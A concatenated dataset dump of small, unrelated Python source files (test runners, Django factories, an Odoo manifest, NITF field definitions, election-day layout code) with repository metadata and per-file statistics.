[RapidFire]) | 54.27381 | 220 | 0.651568 | 1,083 | 9,118 | 5.405355 | 0.350877 | 0.034165 | 0.022549 | 0.019986 | 0.166894 | 0.084387 | 0.084387 | 0.059447 | 0.059447 | 0.045439 | 0 | 0.082096 | 0.231849 | 9,118 | 168 | 221 | 54.27381 | 0.753712 | 0.075236 | 0 | 0 | 0 | 0 | 0.040424 | 0 | 0 | 0 | 0 | 0.011905 | 0 | 1 | 0.044444 | false | 0.088889 | 0.1 | 0 | 0.188889 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
f02e22d2bf4c1f3abf3ecc7c99229353f18c79ea | 111 | py | Python | main.py | brianshef/arroguella | 7dfde689e5ac59c152faf50d4118c24c315b4bcd | [
"Unlicense"
] | 1 | 2018-08-10T19:28:25.000Z | 2018-08-10T19:28:25.000Z | main.py | brianshef/arroguella | 7dfde689e5ac59c152faf50d4118c24c315b4bcd | [
"Unlicense"
] | null | null | null | main.py | brianshef/arroguella | 7dfde689e5ac59c152faf50d4118c24c315b4bcd | [
"Unlicense"
] | null | null | null | #!/bin/python
from arroguella import game
def main():
game.run()
if __name__ == '__main__':
main()
| 10.090909 | 27 | 0.621622 | 14 | 111 | 4.357143 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.225225 | 111 | 10 | 28 | 11.1 | 0.709302 | 0.108108 | 0 | 0 | 0 | 0 | 0.081633 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | true | 0 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f03a874dbe60a422484ccc4e1f147786d61bea6a | 978 | py | Python | test.py | jgolebiowski/kitkopt | 0b46d38004b75799dd1e8603a445b1d711c03735 | [
"MIT"
] | 6 | 2018-11-19T09:49:19.000Z | 2020-01-16T00:21:14.000Z | test.py | jgolebiowski/kitkopt | 0b46d38004b75799dd1e8603a445b1d711c03735 | [
"MIT"
] | null | null | null | test.py | jgolebiowski/kitkopt | 0b46d38004b75799dd1e8603a445b1d711c03735 | [
"MIT"
] | 1 | 2019-02-20T19:57:47.000Z | 2019-02-20T19:57:47.000Z | import logging
import unittest
import tst.test_kernels
import tst.test_gaussian_process
import tst.test_rescale
import tst.test_hypergrid
import tst.test_random_optimizer
import tst.test_bayesian_optimizer
import tst.test_acquisition
def main():
# initialize
suite = unittest.TestSuite()
loader = unittest.TestLoader()
# Load tests from modules
suite.addTest(loader.loadTestsFromModule(tst.test_kernels))
suite.addTest(loader.loadTestsFromModule(tst.test_gaussian_process))
suite.addTest(loader.loadTestsFromModule(tst.test_rescale))
suite.addTest(loader.loadTestsFromModule(tst.test_hypergrid))
suite.addTest(loader.loadTestsFromModule(tst.test_random_optimizer))
suite.addTest(loader.loadTestsFromModule(tst.test_bayesian_optimizer))
suite.addTest(loader.loadTestsFromModule(tst.test_acquisition))
# Run tests
runner = unittest.TextTestRunner(verbosity=3)
runner.run(suite)
if (__name__ == "__main__"):
main()
| 29.636364 | 74 | 0.790389 | 114 | 978 | 6.535088 | 0.298246 | 0.131544 | 0.122148 | 0.347651 | 0.437584 | 0.437584 | 0.142282 | 0 | 0 | 0 | 0 | 0.001163 | 0.120654 | 978 | 32 | 75 | 30.5625 | 0.865116 | 0.04499 | 0 | 0 | 0 | 0 | 0.008602 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0 | 0.391304 | 0 | 0.434783 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
f05a7c4b1d0044762795ac4cb7269f8b49f2284d | 1,791 | py | Python | vendor/src/github.com/Workiva/go-datastructures/fibheap/Test Generator/Merge.py | ylankgz/amazon-ssm-agent | a2e5f7017349c31ff8ea602a80c191bc008cecb4 | [
"Apache-2.0"
] | 6,943 | 2015-01-29T00:58:58.000Z | 2022-03-31T14:34:49.000Z | vendor/src/github.com/Workiva/go-datastructures/fibheap/Test Generator/Merge.py | ylankgz/amazon-ssm-agent | a2e5f7017349c31ff8ea602a80c191bc008cecb4 | [
"Apache-2.0"
] | 182 | 2015-01-05T16:37:37.000Z | 2022-03-23T19:01:02.000Z | vendor/src/github.com/Workiva/go-datastructures/fibheap/Test Generator/Merge.py | ylankgz/amazon-ssm-agent | a2e5f7017349c31ff8ea602a80c191bc008cecb4 | [
"Apache-2.0"
] | 879 | 2015-02-09T13:49:38.000Z | 2022-03-29T17:49:02.000Z | import random
l1 = []
l2 = []
for i in range(20):
l1.append(random.uniform(-1E10, 1E10))
l2.append(random.uniform(-1E10, 1E10))
print(l1)
print(l2)
l = []
l.extend(l1)
l.extend(l2)
print(sorted(l))
'''
[6015943293.071386, -3878285748.0708866, 8674121166.062424, -1528465047.6118088,
7584260716.494843, -373958476.80486107, -6367787695.054295, 6813992306.719868,
5986097626.907181, 9011134545.052086, 7123644338.268343, 2646164210.08445,
4407427446.995375, -888196668.2563229, 7973918726.985172, -6529216482.09644,
6079069259.51853, -8415952427.784341, -6859960084.757652, -502409126.89040375]
[9241165993.258648, -9423768405.578083, 3280085607.6687145, -5253703037.682413,
3858507441.2785892, 9896256282.896187, -9439606732.236805, 3082628799.5320206,
9453124863.59945, 9928066165.458393, 1135071669.4712334, 6380353457.986282,
8329064041.853199, 2382910730.445751, -8478491750.445316, 9607469190.690144,
5417691217.440792, -9698248424.421888, -3933774735.280322, -5984555343.381466]
[-9698248424.421888, -9439606732.236805, -9423768405.578083, -8478491750.445316,
-8415952427.784341, -6859960084.757652, -6529216482.09644, -6367787695.054295,
-5984555343.381466, -5253703037.682413, -3933774735.280322, -3878285748.0708866,
-1528465047.6118088, -888196668.2563229, -502409126.89040375,
-373958476.80486107, 1135071669.4712334, 2382910730.445751, 2646164210.08445,
3082628799.5320206, 3280085607.6687145, 3858507441.2785892, 4407427446.995375,
5417691217.440792, 5986097626.907181, 6015943293.071386, 6079069259.51853,
6380353457.986282, 6813992306.719868, 7123644338.268343, 7584260716.494843,
7973918726.985172, 8329064041.853199, 8674121166.062424, 9011134545.052086,
9241165993.258648, 9453124863.59945, 9607469190.690144, 9896256282.896187,
9928066165.458393]
'''
| 42.642857 | 80 | 0.792853 | 195 | 1,791 | 7.282051 | 0.492308 | 0.016901 | 0.026761 | 0.032394 | 0.038028 | 0 | 0 | 0 | 0 | 0 | 0 | 0.787733 | 0.071468 | 1,791 | 41 | 81 | 43.682927 | 0.066146 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.083333 | 0.25 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
f05b9dd290c6d102545ad5eb837f44eb460dc980 | 707 | py | Python | tests/datetime_/test_objects.py | a-maliarov/pyaction | 2de500df5087a9d2225c898537c1673ef5835869 | [
"MIT"
] | 9 | 2020-10-12T05:20:55.000Z | 2020-10-18T07:30:26.000Z | tests/datetime_/test_objects.py | a-maliarov/pyaction | 2de500df5087a9d2225c898537c1673ef5835869 | [
"MIT"
] | 2 | 2021-04-29T22:15:46.000Z | 2021-12-07T11:06:57.000Z | tests/datetime_/test_objects.py | a-maliarov/pyaction | 2de500df5087a9d2225c898537c1673ef5835869 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from pyaction.datetime_.objects import *
import unittest
import sys
import os
#-----------------------------------------------------------------------------
here = os.path.abspath(os.path.dirname(__file__))
files = os.path.join(here, 'files')
class TestDatetimeObjects(unittest.TestCase):
def test_create_dates_list(self):
dates = create_dates_list('11/01/2020', '11/03/2020')
self.assertEqual(dates, ['11/01/2020', '11/02/2020', '11/03/2020'])
def test_time_until_end_of_day(self):
time_left = time_until_end_of_day()
self.assertIsInstance(time_left, int)
#-----------------------------------------------------------------------------
| 29.458333 | 78 | 0.541726 | 80 | 707 | 4.525 | 0.5125 | 0.049724 | 0.082873 | 0.055249 | 0.116022 | 0.116022 | 0 | 0 | 0 | 0 | 0 | 0.066451 | 0.127298 | 707 | 23 | 79 | 30.73913 | 0.520259 | 0.247525 | 0 | 0 | 0 | 0 | 0.104167 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 1 | 0.153846 | false | 0 | 0.307692 | 0 | 0.538462 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
f071321c8eca3ffe8c698b9cd615a833de34b7c1 | 362 | py | Python | examples/example_imports.py | hkeliang/manim-kunyuan | 98a9a615b00205131e5efeefda4287421b8080de | [
"MIT"
] | null | null | null | examples/example_imports.py | hkeliang/manim-kunyuan | 98a9a615b00205131e5efeefda4287421b8080de | [
"MIT"
] | null | null | null | examples/example_imports.py | hkeliang/manim-kunyuan | 98a9a615b00205131e5efeefda4287421b8080de | [
"MIT"
] | null | null | null | from manim_express import EagerModeScene, Size, SceneArgs
from manim_express.plot import m_line, m_scatter
from manimlib import *
import matplotlib.pyplot as plt
import numpy as np
SceneArgs.color = rgb_to_hex([0.3, 0.4, 0.5]) # this will coverride the `color` option in custom_config.yml
SceneArgs.gif = False
# SceneArgs.frame_rate = 60
SceneArgs.uhd = True
| 30.166667 | 107 | 0.787293 | 59 | 362 | 4.694915 | 0.711864 | 0.064982 | 0.115523 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025559 | 0.135359 | 362 | 11 | 108 | 32.909091 | 0.859425 | 0.234807 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.625 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
b2b949751f3a095ec8abef6d54d5f31da197b04d | 1,048 | py | Python | __manifest__.py | joytao-zhu/odoo-s3 | 1daee6aa090efe906003707668dec670e59bd8ac | [
"MIT"
] | 8 | 2018-01-23T12:08:15.000Z | 2021-06-02T08:21:49.000Z | __manifest__.py | marclijour/odoo-s3 | 1daee6aa090efe906003707668dec670e59bd8ac | [
"MIT"
] | null | null | null | __manifest__.py | marclijour/odoo-s3 | 1daee6aa090efe906003707668dec670e59bd8ac | [
"MIT"
] | 10 | 2018-04-10T11:40:40.000Z | 2022-01-06T08:42:13.000Z | # -*- coding: utf-8 -*-
{
'name': "odoo-s3",
'summary': """
Stores attachments in Amazon S3 instead of the local drive""",
'description': """
In large deployments, Odoo workers need to share a distributed
filestore. Amazon S3 can store files (e.g. attachments and
pictures), such that all Odoo workers can access the same files.
This module lets you configure access to an S3 bucket from Odoo,
by settings a System parameter.
""",
'author': "Marc Lijour",
'website': "https://github.com/marclijour/odoo-s3",
# Categories can be used to filter modules in modules listing
# Check https://github.com/odoo/odoo/blob/master/odoo/addons/base/module/module_data.xml
# for the full list
'category': 'Technical Settings',
'version': '0.1',
# any module necessary for this one to work correctly
'depends': ['base'],
# only the admin user should be having access -so default is ok
# 'data': [
# 'security/ir.model.access.csv',
# ],
}
| 30.823529 | 92 | 0.63645 | 140 | 1,048 | 4.757143 | 0.7 | 0.018018 | 0.042042 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010114 | 0.245229 | 1,048 | 33 | 93 | 31.757576 | 0.831858 | 0.334924 | 0 | 0 | 0 | 0 | 0.777293 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b2c3a17c2245baf1e4c45c0932f9070b07059739 | 559 | py | Python | unittest/unittest_exception.py | all3g/pieces | bc378fd22ddc700891fe7f34ab0d5b341141e434 | [
"CNRI-Python"
] | 34 | 2016-10-31T02:05:24.000Z | 2018-11-08T14:33:13.000Z | unittest/unittest_exception.py | join-us/python-programming | bc378fd22ddc700891fe7f34ab0d5b341141e434 | [
"CNRI-Python"
] | 2 | 2017-05-11T03:00:31.000Z | 2017-11-01T23:37:37.000Z | unittest/unittest_exception.py | join-us/python-programming | bc378fd22ddc700891fe7f34ab0d5b341141e434 | [
"CNRI-Python"
] | 21 | 2016-08-19T09:05:45.000Z | 2018-11-08T14:33:16.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
import unittest
def raise_error(*args, **kwds):
print args, kwds
raise ValueError('Invalid value:' + str(args) + str(kwds))
class ExceptionTest(unittest.TestCase):
def testTrapLocally(self):
try:
raise_error('a', b='c')
except ValueError:
pass
else:
self.fail('Did not see ValueError')
def testFailUnlessRaises(self):
self.failUnlessRaises(ValueError, raise_error, 'a', b='c')
if __name__ == '__main__':
unittest.main()
| 19.964286 | 66 | 0.602862 | 63 | 559 | 5.174603 | 0.619048 | 0.092025 | 0.067485 | 0.07362 | 0.079755 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00241 | 0.257603 | 559 | 27 | 67 | 20.703704 | 0.783133 | 0.067979 | 0 | 0 | 0 | 0 | 0.092486 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.0625 | 0.0625 | null | null | 0.0625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
b2c7e92d24d9df07e26baa2288be78107b163c82 | 1,308 | py | Python | sarpy/io/nitf/tres/unclass/AIMIDB.py | anielsen001/sarpy | 07bf157f54a5304185fc0e1c34010053fd6ae9d9 | [
"MIT"
] | null | null | null | sarpy/io/nitf/tres/unclass/AIMIDB.py | anielsen001/sarpy | 07bf157f54a5304185fc0e1c34010053fd6ae9d9 | [
"MIT"
] | null | null | null | sarpy/io/nitf/tres/unclass/AIMIDB.py | anielsen001/sarpy | 07bf157f54a5304185fc0e1c34010053fd6ae9d9 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from ..tre_elements import TREExtension, TREElement
__classification__ = "UNCLASSIFIED"
__author__ = "Thomas McCullough"
class AIMIDBType(TREElement):
def __init__(self, value):
super(AIMIDBType, self).__init__()
self.add_field('ACQUISITION_DATE', 's', 14, value)
self.add_field('MISSION_NO', 's', 4, value)
self.add_field('MISSION_IDENTIFICATION', 's', 10, value)
self.add_field('FLIGHT_NO', 's', 2, value)
self.add_field('OP_NUM', 'd', 3, value)
self.add_field('CURRENT_SEGMENT', 's', 2, value)
self.add_field('REPRO_NUM', 'd', 2, value)
self.add_field('REPLAY', 's', 3, value)
self.add_field('RESERVED_001', 's', 1, value)
self.add_field('START_TILE_COLUMN', 'd', 3, value)
self.add_field('START_TILE_ROW', 'd', 5, value)
self.add_field('END_SEGMENT', 's', 2, value)
self.add_field('END_TILE_COLUMN', 'd', 3, value)
self.add_field('END_TILE_ROW', 'd', 5, value)
self.add_field('COUNTRY', 's', 2, value)
self.add_field('RESERVED002', 's', 4, value)
self.add_field('LOCATION', 's', 11, value)
self.add_field('RESERVED003', 's', 13, value)
class AIMIDB(TREExtension):
_tag_value = 'AIMIDB'
_data_type = AIMIDBType
| 37.371429 | 64 | 0.623853 | 177 | 1,308 | 4.293785 | 0.344633 | 0.165789 | 0.284211 | 0.380263 | 0.473684 | 0.381579 | 0.213158 | 0.144737 | 0 | 0 | 0 | 0.030948 | 0.20948 | 1,308 | 34 | 65 | 38.470588 | 0.704062 | 0.016055 | 0 | 0 | 0 | 0 | 0.205447 | 0.017121 | 0 | 0 | 0 | 0 | 0 | 1 | 0.037037 | false | 0 | 0.037037 | 0 | 0.222222 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
b2d2ed6b1a8a1264916646d07cfdf043ed82812c | 3,914 | py | Python | src/onegov/election_day/layouts/default.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/layouts/default.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/election_day/layouts/default.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from babel import Locale
from cached_property import cached_property
from datetime import datetime
from onegov.ballot import VoteCollection
from onegov.core.i18n import SiteLocale
from onegov.core.layout import ChameleonLayout
from onegov.core.static import StaticFile
from onegov.election_day import _
from onegov.election_day.collections import ArchivedResultCollection
from onegov.user import Auth
class DefaultLayout(ChameleonLayout):
day_long_format = 'skeleton:MMMMd'
date_long_format = 'long'
datetime_long_format = 'medium'
docs_base_url = 'https://github.com/OneGov/onegov-cloud' \
'/tree/master/docs/api/election_day'
def __init__(self, model, request):
super().__init__(model, request)
self.request.include('common')
self.request.include('chosen')
self.request.include('custom')
if 'headerless' in request.params:
request.browser_session['headerless'] = True
if 'headerful' in request.params:
if request.browser_session.has('headerless'):
del request.browser_session['headerless']
def title(self):
return ''
@cached_property
def principal(self):
return self.request.app.principal
@cached_property
def has_districts(self):
return self.principal.has_districts
@cached_property
def homepage_link(self):
return self.request.link(self.principal)
def get_opendata_link(self, lang):
return f"{self.docs_base_url}/open_data_{lang}.md"
@cached_property
def opendata_link(self):
lang = (self.request.locale or 'en')[:2]
return self.get_opendata_link(lang)
@cached_property
def terms_icon(self):
static_file = StaticFile.from_application(
self.app, 'images/terms_by.svg'
)
return self.request.link(static_file)
@cached_property
def terms_link(self):
lang = (self.request.locale or 'en')[:2]
return "https://opendata.swiss/{}/terms-of-use".format(lang)
@cached_property
def format_description_link(self):
lang = (self.request.locale or 'en')[:2]
return f"{self.docs_base_url}/format__{lang}.md"
@cached_property
def font_awesome_path(self):
static_file = StaticFile.from_application(
self.app, 'font-awesome/css/font-awesome.min.css')
return self.request.link(static_file)
def get_topojson_link(self, id, year):
return self.request.link(
StaticFile('mapdata/{}/{}.json'.format(year, id))
)
@cached_property
def copyright_year(self):
return datetime.utcnow().year
@cached_property
def manage_link(self):
return self.request.link(VoteCollection(self.app.session()))
@cached_property
def login_link(self):
if not self.request.is_logged_in:
return self.request.link(
Auth.from_request(self.request, to=self.manage_link),
name='login'
)
@cached_property
def logout_link(self):
if self.request.is_logged_in:
return self.request.link(
Auth.from_request(self.request), name='logout')
@cached_property
def archive(self):
return ArchivedResultCollection(self.request.session)
@cached_property
def locales(self):
to = self.request.url
def get_name(locale):
return Locale.parse(locale).get_language_name().capitalize()
def get_link(locale):
return self.request.link(SiteLocale(locale, to))
return [
(get_name(locale), get_link(locale))
for locale in sorted(self.app.locales)
]
def format_name(self, item):
if hasattr(item, 'entity_id'):
return item.name if item.entity_id else _("Expats")
return item.name or _("Expats")
| 29.428571 | 72 | 0.655084 | 471 | 3,914 | 5.248408 | 0.2569 | 0.093447 | 0.096278 | 0.067961 | 0.223301 | 0.204693 | 0.140777 | 0.140777 | 0.10356 | 0.10356 | 0 | 0.001685 | 0.241696 | 3,914 | 132 | 73 | 29.651515 | 0.831199 | 0 | 0 | 0.235294 | 0 | 0 | 0.099898 | 0.038068 | 0 | 0 | 0 | 0 | 0 | 1 | 0.205882 | false | 0 | 0.098039 | 0.107843 | 0.558824 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
b2e2877d3fddba0c2424e7341894eac0c364579d | 254 | py | Python | ProjectShop/Shipping/serializers.py | kolyasalubov/ProjectShop | 41a62d27276542bf65aab51663220ffe88858024 | [
"MIT"
] | 3 | 2021-08-30T09:15:52.000Z | 2022-03-24T14:40:11.000Z | ProjectShop/Shipping/serializers.py | kolyasalubov/ProjectShop | 41a62d27276542bf65aab51663220ffe88858024 | [
"MIT"
] | 150 | 2021-08-30T12:37:17.000Z | 2021-11-17T07:09:19.000Z | ProjectShop/Shipping/serializers.py | kolyasalubov/ProjectShop | 41a62d27276542bf65aab51663220ffe88858024 | [
"MIT"
] | null | null | null | from rest_framework import serializers
from Shipping.models import ShippingModel
class ShippingSerializer(serializers.ModelSerializer):
"""A serializer for Shipping view"""
class Meta:
model = ShippingModel
fields = "__all__"
| 21.166667 | 54 | 0.73622 | 25 | 254 | 7.28 | 0.76 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.200787 | 254 | 11 | 55 | 23.090909 | 0.896552 | 0.11811 | 0 | 0 | 0 | 0 | 0.03211 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
b2e75a5bb8a8d11a4193222515c2598a819f2fb6 | 1,991 | py | Python | pygsuite/common/comment.py | ngharrington/pygsuite | d9031d26fcf7b85c45bd243ae7f175c38ae6b1c8 | [
"MIT"
] | null | null | null | pygsuite/common/comment.py | ngharrington/pygsuite | d9031d26fcf7b85c45bd243ae7f175c38ae6b1c8 | [
"MIT"
] | null | null | null | pygsuite/common/comment.py | ngharrington/pygsuite | d9031d26fcf7b85c45bd243ae7f175c38ae6b1c8 | [
"MIT"
] | null | null | null | class Reply(object):
"""{
"kind": "drive#commentReply",
"replyId": string,
"createdDate": datetime,
"modifiedDate": datetime,
"author": {
"kind": "drive#user",
"displayName": string,
"picture": {
"url": string
},
"isAuthenticatedUser": boolean,
"permissionId": string,
"emailAddress": string
},
"htmlContent": string,
"content": string,
"deleted": boolean,
"verb": string
}"""
def __init__(self, _reply):
self._reply = _reply
class Comment(object):
"""{
"kind": "drive#comment",
"selfLink": string,
"commentId": string,
"createdDate": datetime,
"modifiedDate": datetime,
"author": {
"kind": "drive#user",
"displayName": string,
"picture": {
"url": string
},
"isAuthenticatedUser": boolean,
"permissionId": string,
"emailAddress": string
},
"htmlContent": string,
"content": string,
"deleted": boolean,
"status": string,
"context": {
"type": string,
"value": string
},
"anchor": string,
"fileId": string,
"fileTitle": string,
"replies": [
replies Resource
]
}"""
def __init__(self, _comment):
self._comment = _comment
@property
def text(self):
return self._comment.get("content")
@property
def status(self):
return self._comment.get("status")
@property
def author(self):
return self._comment["author"].get("displayName")
@property
def link(self):
return self._comment.get("selfLink")
@property
def replies(self):
return [Reply(obj) for obj in self._comment.get("replies", []) if not obj.get("deleted")]
| 24.280488 | 97 | 0.494224 | 156 | 1,991 | 6.185897 | 0.314103 | 0.079793 | 0.058031 | 0.087047 | 0.495337 | 0.420725 | 0.420725 | 0.420725 | 0.420725 | 0.420725 | 0 | 0 | 0.36665 | 1,991 | 81 | 98 | 24.580247 | 0.765266 | 0.566549 | 0 | 0.238095 | 0 | 0 | 0.079268 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.238095 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
6507490bd23c56f0b501f02bd099672ff112574d | 1,542 | py | Python | meetpy/tests/factories.py | galuszkak/meetpy | 86e3b76e79a1fac5fc27d430d2c2faa5189e23d0 | [
"MIT"
] | null | null | null | meetpy/tests/factories.py | galuszkak/meetpy | 86e3b76e79a1fac5fc27d430d2c2faa5189e23d0 | [
"MIT"
] | 1 | 2020-01-27T09:53:18.000Z | 2020-01-27T13:40:11.000Z | meetpy/tests/factories.py | galuszkak/meetpy | 86e3b76e79a1fac5fc27d430d2c2faa5189e23d0 | [
"MIT"
] | null | null | null | from datetime import datetime, timedelta
import factory
from factory.fuzzy import FuzzyNaiveDateTime
from meetups import models
class MeetupFactory(factory.DjangoModelFactory):
class Meta:
model = models.Meetup
number = factory.Sequence(lambda n: n)
date = FuzzyNaiveDateTime(start_dt=datetime.utcnow()-timedelta(days=30*6), end_dt=datetime.utcnow()+timedelta(days=30*6))
class MeetupTypeFactory(factory.DjangoModelFactory):
class Meta:
model = models.MeetupType
name = 'Tech Talk'
slug = 'tech-talk'
has_agenda = True
class SpeakerFactory(factory.DjangoModelFactory):
class Meta:
model = models.Speaker
first_name = factory.Faker('first_name')
last_name = factory.Faker('last_name')
biography = factory.Faker('sentence', nb_words=30)
class TalkFactory(factory.DjangoModelFactory):
class Meta:
model = models.Talk
title = factory.Faker('sentence', nb_words=6)
description = factory.Faker('sentence', nb_words=40)
order = factory.Sequence(lambda n: n)
class SponsorFactory(factory.DjangoModelFactory):
class Meta:
model = models.Sponsor
name = factory.Faker('company')
description = factory.Faker('sentence', nb_words=40)
class TalkProposalFactory(factory.DjangoModelFactory):
class Meta:
model = models.TalkProposal
message = factory.Faker('sentence')
date_submitted = FuzzyNaiveDateTime(start_dt=datetime.utcnow()-timedelta(days=30*6), end_dt=datetime.utcnow()+timedelta(days=30*6))
| 24.09375 | 135 | 0.719196 | 176 | 1,542 | 6.221591 | 0.323864 | 0.087671 | 0.164384 | 0.186301 | 0.575342 | 0.484018 | 0.237443 | 0.164384 | 0.164384 | 0.164384 | 0 | 0.014949 | 0.175746 | 1,542 | 63 | 136 | 24.47619 | 0.846578 | 0 | 0 | 0.216216 | 0 | 0 | 0.054475 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.108108 | 0 | 0.837838 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
651f34d67bd09e24568dbc73b33f1ca011237fcc | 683 | py | Python | tests/test_task0002.py | jtprogru/interview-task | 13c045c83de1ebcd66431e4f0a7c01b1b043c0db | [
"MIT"
] | 3 | 2022-02-07T17:31:35.000Z | 2022-02-15T19:52:29.000Z | tests/test_task0002.py | jtprogru/interview-task | 13c045c83de1ebcd66431e4f0a7c01b1b043c0db | [
"MIT"
] | 2 | 2022-02-07T15:57:38.000Z | 2022-03-01T05:40:49.000Z | tests/test_task0002.py | jtprogru/interview-task | 13c045c83de1ebcd66431e4f0a7c01b1b043c0db | [
"MIT"
] | null | null | null | import pytest
from tasks.task0002 import solution
@pytest.mark.parametrize(
"arr1, arr2, arr3, result",
[
([1, 2, 3, 4, 5, 100], [6, 7, 8, 9, 100], [10, 20, 21, 22, 23, 24, 100], 100),
(
[1, 2, 3, 4, 5, 1000],
[6, 7, 8, 9, 100, 150, 1000],
[10, 20, 21, 22, 23, 24, 100, 1000, 2000, 3000],
1000,
),
([1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], 1),
([], [], [], 0),
([1], [1], [1], 1),
([1, 2], [1, 2], [1, 2], 1),
([1, 2], [1, 2], [0, 2], 2),
],
)
def test_task0002_solution(arr1, arr2, arr3, result):
assert solution(arr1, arr2, arr3) == result
